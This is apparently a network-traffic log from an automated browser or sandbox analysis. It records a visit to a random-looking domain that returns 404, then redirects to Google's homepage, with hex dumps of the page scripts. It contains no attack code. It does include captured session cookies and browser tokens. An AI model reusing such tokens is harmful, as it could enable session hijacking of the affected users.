laravel_session=eyJpdiI6IlNINnQ3TTlxQ0tIck14VEVoQXNKbXc9PSIsInZhbHVlIjoiTTUvTXJSNEIyajZEaUhMbU9sZzdvNmZuZWJGaUJYWit3UkE5OEV6L2ljR0pGdXZCT3lBbklldS9BTmVTUjg1M0QwdFQ5dHZDeTRqbUFHTURoaGFNL3pDRGZqSGxSamxkb29RdGUxTlJyZ2dNNXdXOTI4NlZwNGlaMWt2clM4NngiLCJtYWMiOiI4MGQ4ZjNiNzY4NDNmYzNiODNmZTZkMTNjYjUyY2U4NDJkYzlkMTAyMDc5MDlhMTgzNTg1NTVjZGYwM2I1ODkzIiwidGFnIjoiIn0%3D
2025-03-26 21:42:58 UTC	1077	IN	HTTP/1.1 404 Not Found Date: Wed, 26 Mar 2025 21:42:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: EXPIRED Age: 167 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Taa6F776pu5eXSOQmgQhjTIckQNIJfMcNV9h6Uiuij8fY%2BXj71%2Beepk36Oyr%2B64t58VVYtGOtKbFvKsLLePyAbvE%2BIbHPKWo8zCcKI3xqj0hWgnT3dZvit68ajI%2Fahmpxt8r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=19119&min_rtt=19105&rtt_var=5383&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2274&delivery_rate=211384&cwnd=252&unsent_bytes=0&cid=2ce77ca4fb4dc072&ts=38&x=0" Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 9269d2299f2d7290-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89350&min_rtt=89333&rtt_var=18874&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2837&recv_bytes=1928&delivery_rate=34183&cwnd=252&unsent_bytes=0&cid=32b9ae95abe3628f&ts=304&x=0"
2025-03-26 21:42:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:42:58 UTC	551	OUT	OPTIONS /report/v4?s=eBOWUoKzVIl%2BS9n2NuYCQTdEUAOOHls9VJ2miX7dOL%2BGgAPjJPnKFfaojH2J4O9aINVeXJs5ZLLtGvsOVaU5P%2BLfD6L5NV6G2hA3HlGQ2%2BRKdyr323k%2FIa5YU%2BJOxUmwsh8k HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://nvgy.zonqdkqezktw.es Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:42:58 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 26 Mar 2025 21:42:58 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:42:59 UTC	526	OUT	POST /report/v4?s=eBOWUoKzVIl%2BS9n2NuYCQTdEUAOOHls9VJ2miX7dOL%2BGgAPjJPnKFfaojH2J4O9aINVeXJs5ZLLtGvsOVaU5P%2BLfD6L5NV6G2hA3HlGQ2%2BRKdyr323k%2FIa5YU%2BJOxUmwsh8k HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 418 Content-Type: application/reports+json Origin: https://nvgy.zonqdkqezktw.es User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:42:59 UTC	418	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 36 37 32 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 36 34 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 76 67 79 2e 7a 6f 6e 71 64 6b 71 65 7a 6b 74 77 2e Data Ascii: [{"age":0,"body":{"elapsed_time":672,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.64.1","status_code":404,"type":"http.error"},"type":"network-error","url":"https://nvgy.zonqdkqezktw.
2025-03-26 21:42:59 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Wed, 26 Mar 2025 21:42:59 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:42:59 UTC	942	OUT	GET / HTTP/1.1 Host: google.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Browser-Channel: stable X-Browser-Year: 2025 X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q= X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved. X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCLHezgE= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://nvgy.zonqdkqezktw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:42:59 UTC	854	IN	HTTP/1.1 301 Moved Permanently Location: https://www.google.com/ Content-Type: text/html; charset=UTF-8 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-f6olT08byZarmECgTzDI9A' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Permissions-Policy: unload=() Date: Wed, 26 Mar 2025 21:42:59 GMT Expires: Fri, 25 Apr 2025 21:42:59 GMT Cache-Control: public, max-age=2592000 Server: gws Content-Length: 220 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-26 21:42:59 UTC	143	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>301 Moved</TITLE></HEAD><BODY><H1>301 Moved</H1>The doc
2025-03-26 21:42:59 UTC	77	IN	Data Raw: 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: ument has moved<A HREF="https://www.google.com/">here</A>.</BODY></HTML>

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:42:59 UTC	946	OUT	GET / HTTP/1.1 Host: www.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Browser-Channel: stable X-Browser-Year: 2025 X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q= X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved. X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCLHezgE= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://nvgy.zonqdkqezktw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:42:59 UTC	1820	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:42:59 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-LAfHoXJKvF9ypZkBhwO9Tw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Downlink Accept-CH: RTT Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; expires=Mon, 22-Sep-2025 21:42:59 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax Set-Cookie: NID=522=sFpEt6_z3PP3bpdWacVBiKdyCkMY4bKjcyk2S2Qc-HDFyJKUIezgDUHPQ3B3FJ9sicId9uGWXOx3NXrUoChZV8t2NDpGr4d9LbEtqHjDU_cuuqFvQc6Z7BOBRdFwI_FuNVhGd04i8kNxQiscR2AZvYUdQvBQUb1LCjPuDC6Grk7ejaVXms2UyMjs3wcEUGrgx3gl2y6m8Nl1OuSEaPR7ul8; expires=Thu, 25-Sep-2025 21:42:59 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-03-26 21:42:59 UTC	1820	IN	Data Raw: 33 31 34 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 67 2f 31 78 2f 67 6f 6f 67 6c 65 67 5f 73 74 61 6e 64 61 72 64 5f 63 6f 6c 6f 72 5f 31 32 38 64 70 2e 70 6e 67 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 6d 61 67 65 22 3e 3c 74 69 74 6c 65 3e Data Ascii: 3140<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta charset="UTF-8"><meta content="origin" name="referrer"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>
2025-03-26 21:42:59 UTC	1820	IN	Data Raw: 6f 20 63 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 77 68 69 6c 65 28 67 6f 6f 67 6c 65 2e 79 5b 63 5d 29 7d 67 6f 6f 67 6c 65 2e 79 5b 63 5d 3d 5b 61 2c 62 5d 3b 72 65 74 75 72 6e 21 31 7d 29 3b 76 61 72 20 65 3b 28 65 3d 67 6f 6f 67 6c 65 29 2e 73 78 7c 7c 28 65 2e 73 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 73 79 2e 70 75 73 68 28 61 29 7d 29 3b 67 6f 6f 67 6c 65 2e 6c 6d 3d 5b 5d 3b 76 61 72 20 66 3b 28 66 3d 67 6f 6f 67 6c 65 29 2e 70 6c 6d 7c 7c 28 66 2e 70 6c 6d 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 6c 6d 2e 70 75 73 68 2e 61 70 70 6c 79 28 67 6f 6f 67 6c 65 2e 6c 6d 2c 61 29 7d 29 3b 67 6f 6f 67 6c 65 2e 6c 71 3d 5b 5d 3b 76 61 72 20 67 3b 28 67 3d 67 6f 6f 67 6c 65 29 2e 6c 6f 61 64 7c 7c 28 67 2e 6c Data Ascii: o c=Math.random();while(google.y[c])}google.y[c]=[a,b];return!1});var e;(e=google).sx\|\|(e.sx=function(a){google.sy.push(a)});google.lm=[];var f;(f=google).plm\|\|(f.plm=function(a){google.lm.push.apply(google.lm,a)});google.lq=[];var g;(g=google).load\|\|(g.l
2025-03-26 21:42:59 UTC	1820	IN	Data Raw: 6f 67 6c 65 2e 63 2e 65 28 22 6c 6f 61 64 22 2c 61 2c 53 74 72 69 6e 67 28 64 29 29 7d 3b 76 61 72 20 64 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 64 2c 63 29 7b 74 68 69 73 2e 67 3d 61 3b 74 68 69 73 2e 76 3d 5b 5d 3b 76 61 72 20 62 3d 74 68 69 73 2e 67 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 64 65 66 65 72 72 65 64 22 29 3b 74 68 69 73 2e 42 3d 61 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6e 6f 61 66 74 22 29 3b 74 68 69 73 2e 6a 3d 21 21 62 3b 69 66 28 62 3d 21 74 68 69 73 2e 6a 29 61 3a 7b 66 6f 72 28 62 3d 30 3b 62 3c 78 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 69 66 28 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 22 2b 78 5b 62 5d 29 29 7b 62 3d 21 30 3b 62 72 65 61 6b 20 61 7d 62 3d 21 31 7d 74 68 69 Data Ascii: ogle.c.e("load",a,String(d))};var da=function(a,d,c){this.g=a;this.v=[];var b=this.g.getAttribute("data-deferred");this.B=a.hasAttribute("data-noaft");this.j=!!b;if(b=!this.j)a:{for(b=0;b<x.length;++b)if(a.getAttribute("data-"+x[b])){b=!0;break a}b=!1}thi
2025-03-26 21:42:59 UTC	1820	IN	Data Raw: 74 61 72 74 54 69 6d 65 3a 61 7d 29 29 7d 3b 67 6f 6f 67 6c 65 2e 63 2e 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 64 2c 63 29 7b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 5b 61 5d 2e 65 5b 64 5d 3d 63 7d 3b 67 6f 6f 67 6c 65 2e 63 2e 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 64 3d 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 2e 6c 6f 61 64 2e 6d 3b 64 5b 61 5d 26 26 67 6f 6f 67 6c 65 2e 6d 6c 28 45 72 72 6f 72 28 22 62 22 29 2c 21 31 2c 7b 6d 3a 61 7d 29 3b 64 5b 61 5d 3d 21 30 7d 3b 67 6f 6f 67 6c 65 2e 63 2e 75 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 64 3d 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 2e 6c 6f 61 64 2e 6d 2c 63 3d 21 30 3b 69 66 28 64 5b 61 5d 29 7b 66 6f 72 28 76 61 72 20 62 3d 47 5b 61 5d 7c 7c 5b 5d 2c 66 3d 30 3b 66 3c 62 2e 6c Data Ascii: tartTime:a}))};google.c.e=function(a,d,c){google.timers[a].e[d]=c};google.c.b=function(a){var d=google.timers.load.m;d[a]&&google.ml(Error("b"),!1,{m:a});d[a]=!0};google.c.u=function(a){var d=google.timers.load.m,c=!0;if(d[a]){for(var b=G[a]\|\|[],f=0;f<b.l
2025-03-26 21:42:59 UTC	1820	IN	Data Raw: 28 62 2e 76 69 73 69 62 69 6c 69 74 79 3d 3d 3d 22 68 69 64 64 65 6e 22 7c 7c 62 2e 68 65 69 67 68 74 3d 3d 3d 0a 22 30 70 78 22 26 26 62 2e 77 69 64 74 68 3d 3d 3d 22 30 70 78 22 29 29 3a 62 3d 21 31 29 3b 69 66 28 62 29 64 3d 30 3b 65 6c 73 65 20 69 66 28 61 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 29 7b 62 3a 7b 66 6f 72 28 62 3d 61 3b 62 26 26 62 21 3d 3d 63 3b 62 3d 62 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 69 66 28 62 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 3d 3d 3d 22 68 69 64 64 65 6e 22 29 62 72 65 61 6b 20 62 3b 62 3d 6e 75 6c 6c 7d 28 66 3d 62 29 3f 28 62 3d 61 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 2c 66 3d 66 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 Data Ascii: (b.visibility==="hidden"\|\|b.height==="0px"&&b.width==="0px")):b=!1);if(b)d=0;else if(a.getBoundingClientRect){b:{for(b=a;b&&b!==c;b=b.parentElement)if(b.style.overflow==="hidden")break b;b=null}(f=b)?(b=a.getBoundingClientRect(),f=f.getBoundingClientRect
2025-03-26 21:42:59 UTC	1820	IN	Data Raw: 2e 70 65 72 66 6f 72 6d 61 6e 63 65 26 26 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 26 26 28 63 3d 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 28 22 6e 61 76 69 67 61 74 69 6f 6e 22 29 2c 63 2e 6c 65 6e 67 74 68 21 3d 3d 30 29 29 7b 63 3d 63 5b 30 5d 3b 62 72 65 61 6b 20 61 7d 63 3d 76 6f 69 64 20 30 7d 63 26 26 28 28 65 3d 63 2e 74 79 70 65 29 26 26 28 61 2b 3d 22 26 6e 74 3d 22 2b 65 29 2c 65 3d 63 2e 64 65 6c 69 76 65 72 79 54 79 70 65 2c 65 21 3d 6e 75 6c 6c 26 26 28 61 2b 3d 22 26 64 74 3d 22 2b 65 29 2c 63 3d 63 2e 74 72 61 6e 73 66 65 72 53 69 7a 65 2c 63 21 3d 6e 75 6c 6c 26 26 28 61 2b 3d 22 26 74 73 3d 22 2b 63 29 29 3b 28 Data Ascii: .performance&&window.performance.getEntriesByType&&(c=window.performance.getEntriesByType("navigation"),c.length!==0)){c=c[0];break a}c=void 0}c&&((e=c.type)&&(a+="&nt="+e),e=c.deliveryType,e!=null&&(a+="&dt="+e),c=c.transferSize,c!=null&&(a+="&ts="+c));(
2025-03-26 21:43:00 UTC	1696	IN	Data Raw: 28 22 69 6d 6c 22 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 54 28 64 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 63 29 7d 28 30 29 2c 5a 3d 21 30 29 7d 3b 67 6f 6f 67 6c 65 2e 63 2e 73 65 74 75 70 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 43 28 61 29 3b 72 65 74 75 72 6e 20 67 6f 6f 67 6c 65 2e 63 2e 77 68 3e 31 3f 7a 28 61 29 3a 6e 75 6c 6c 7d 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 29 7b 66 6f 72 28 76 61 72 20 61 3d 67 6f 6f 67 6c 65 2e 64 72 63 2e 73 68 69 66 74 28 29 3b 61 3b 29 61 28 29 2c 61 3d 67 6f 6f 67 6c 65 2e 64 72 63 2e 73 68 69 66 74 28 29 7d 3b 67 6f 6f 67 6c 65 2e 64 72 63 3d 5b 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 74 69 63 6b 26 26 67 6f 6f 67 6c 65 Data Ascii: ("iml"),function(){T(d,function(){},c)}(0),Z=!0)};google.c.setup=function(a){a=C(a);return google.c.wh>1?z(a):null};}).call(this);(function(){function b(){for(var a=google.drc.shift();a;)a(),a=google.drc.shift()};google.drc=[function(){google.tick&&google
2025-03-26 21:43:00 UTC	290	IN	Data Raw: 31 31 62 0d 0a 6d 6f 76 65 20 6d 6f 75 73 65 6f 75 74 20 6d 6f 75 73 65 6f 76 65 72 20 6d 6f 75 73 65 75 70 20 70 61 73 74 65 20 70 6f 69 6e 74 65 72 64 6f 77 6e 20 70 6f 69 6e 74 65 72 65 6e 74 65 72 20 70 6f 69 6e 74 65 72 6c 65 61 76 65 20 70 6f 69 6e 74 65 72 75 70 20 74 6f 75 63 68 73 74 61 72 74 20 74 6f 75 63 68 6d 6f 76 65 20 74 6f 75 63 68 65 6e 64 20 74 6f 75 63 68 63 61 6e 63 65 6c 20 74 72 61 6e 73 69 74 69 6f 6e 63 61 6e 63 65 6c 20 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 20 74 72 61 6e 73 69 74 69 6f 6e 72 75 6e 20 74 72 61 6e 73 69 74 69 6f 6e 73 74 61 72 74 20 61 6e 69 6d 61 74 69 6f 6e 63 61 6e 63 65 6c 20 61 6e 69 6d 61 74 69 6f 6e 65 6e 64 20 64 72 61 67 6f 76 65 72 20 64 72 61 67 65 6e 74 65 72 20 64 72 61 67 6c 65 61 76 65 20 64 72 6f Data Ascii: 11bmove mouseout mouseover mouseup paste pointerdown pointerenter pointerleave pointerup touchstart touchmove touchend touchcancel transitioncancel transitionend transitionrun transitionstart animationcancel animationend dragover dragenter dragleave dro
2025-03-26 21:43:00 UTC	997	IN	Data Raw: 38 30 30 30 0d 0a 22 2e 73 70 6c 69 74 28 22 20 22 29 2e 63 6f 6e 63 61 74 28 5b 22 66 6f 63 75 73 22 2c 22 62 6c 75 72 22 2c 22 65 72 72 6f 72 22 2c 22 6c 6f 61 64 22 5d 29 3b 0a 76 61 72 20 74 3d 5b 22 66 6f 63 75 73 22 2c 22 62 6c 75 72 22 2c 22 65 72 72 6f 72 22 2c 22 6c 6f 61 64 22 2c 22 74 6f 67 67 6c 65 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 75 28 61 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 22 6d 6f 75 73 65 65 6e 74 65 72 22 3f 22 6d 6f 75 73 65 6f 76 65 72 22 3a 61 3d 3d 3d 22 6d 6f 75 73 65 6c 65 61 76 65 22 3f 22 6d 6f 75 73 65 6f 75 74 22 3a 61 3d 3d 3d 22 70 6f 69 6e 74 65 72 65 6e 74 65 72 22 3f 22 70 6f 69 6e 74 65 72 6f 76 65 72 22 3a 61 3d 3d 3d 22 70 6f 69 6e 74 65 72 6c 65 61 76 65 22 3f 22 70 6f 69 6e 74 65 72 6f 75 74 22 3a 61 7d 3b 76 61 Data Ascii: 8000".split(" ").concat(["focus","blur","error","load"]);var t=["focus","blur","error","load","toggle"];function u(a){return a==="mouseenter"?"mouseover":a==="mouseleave"?"mouseout":a==="pointerenter"?"pointerover":a==="pointerleave"?"pointerout":a};va
2025-03-26 21:43:00 UTC	997	IN	Data Raw: 73 2e 67 5b 61 5d 29 3b 74 68 69 73 2e 67 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 79 3d 74 79 70 65 6f 66 20 6e 61 76 69 67 61 74 6f 72 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 2f 69 50 68 6f 6e 65 7c 69 50 61 64 7c 69 50 6f 64 2f 2e 74 65 73 74 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 29 2c 76 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 67 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 74 68 69 73 2e 69 3d 5b 5d 7d 3b 76 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 79 26 26 28 74 68 69 73 2e 67 2e 73 74 79 6c 65 2e 63 75 72 73 6f 72 3d 22 70 6f 69 6e 74 65 72 22 29 3b 76 61 72 20 64 3d 74 Data Ascii: s.g[a]);this.g=null}};var y=typeof navigator!=="undefined"&&/iPhone\|iPad\|iPod/.test(navigator.userAgent),v=function(){this.g=window.document.documentElement;this.i=[]};v.prototype.addEventListener=function(a,b,c){y&&(this.g.style.cursor="pointer");var d=t

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:43:00 UTC	1811	OUT	GET /xjs/_/ss/k=xjs.hd.KOInGPVOb68.L.B1.O/am=CLIAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA4EAAdgIAAAAIANgBEAAAEAAAAAAAAAQQAAAAEAABgAgBAMAAAgAABAAA2AAACSAIAAAAAlMaAAABAMAAAOAACAAJAAAAFAAAAEgAAAAAAAAAAQAAAAGAABhoCIgFUAoAAgAIAIIAAIAAAABGABACAEAHAAIwAIAQAADQAxAIAAAAAAAAEAAAALAAYDBCARAAAAAAAABAAgAAAAAAAAAAAAAAAAAAAAAAAAAQAAAACgAAAAAAAAAAAAAAAAAAAAg/d=1/ed=1/br=1/rs=ACT90oEftwI819Ook0SChABk1NYW2PsVtw/m=cdos,hsm,jsa,mb4ZUb,cEt90b,SNUn3,qddgKe,sTsDMc,dtl0hd,eHDfl,YV5bee,d,csi HTTP/1.1 Host: www.google.com Connection: keep-alive downlink: 0.35 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-form-factors: "Desktop" sec-ch-ua-wow64: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" sec-ch-prefers-color-scheme: light User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 rtt: 350 sec-ch-ua-platform-version: 